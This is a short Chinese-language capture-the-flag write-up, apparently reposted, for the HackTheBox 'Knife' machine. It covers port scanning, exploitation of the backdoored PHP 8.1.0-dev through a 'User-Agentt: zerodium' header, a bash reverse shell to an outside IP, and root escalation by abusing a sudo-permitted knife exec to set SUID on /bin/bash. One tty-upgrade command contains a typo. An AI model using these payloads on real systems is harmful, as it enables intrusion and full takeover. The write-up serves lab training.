HackTheBox-Knife
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HackTheBox-Knife相关的知识,希望对你有一定的参考价值。
连接配置
- 参考之前的文章步骤配置
LAB ACCESS
,文章链接
渗透测试
信息搜集
- 先用
Namp
扫描一下目标靶机,发现开放了22、80
两个端口
sudo nmap 10.10.10.242

- 用
dirb
扫描网站发现没有什么有用信息

漏洞挖掘
联想到题目名字应该是存在后门,查看源码和抓包分析后发现存在
php/8.1.0-dev
,该版本在2021年3月28日被植入后门,当服务器存在该后门时攻击者可以通过发送User-Agentt
头来执行任意代码

- 使用
burpsuite
抓包,并加入字段User-Agentt: zerodiumvar_dump(2*3);
,发现被成功执行

getshell
- 起一个
nc
监听, 然后执行命令User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.16.21/1234 0>&1'");
,并将 shell 换成一个交互式的 shell
python3 -c 'import pyt;pty.spawn("/bin/bash")'
或者
SHELL=/bin/bash script -q /dev/null

- 查看用户
James
家目录下拿到USER OWN
的 flag

提权
- 利用
sudo -l
进行提权,确定knife
用户的sudo
权限
sudo -l
ls /usr/bin/knife -al

- 执行命令,拿到 root 权限,在 root 目录下拿到
SYSTEM OWN
的 flag
echo "system('chmod +s /bin/bash')" > exploit.rb
sudo /usr/bin/knife exec exploit.rb
/bin/bash -p

以上是关于HackTheBox-Knife的主要内容,如果未能解决你的问题,请参考以下文章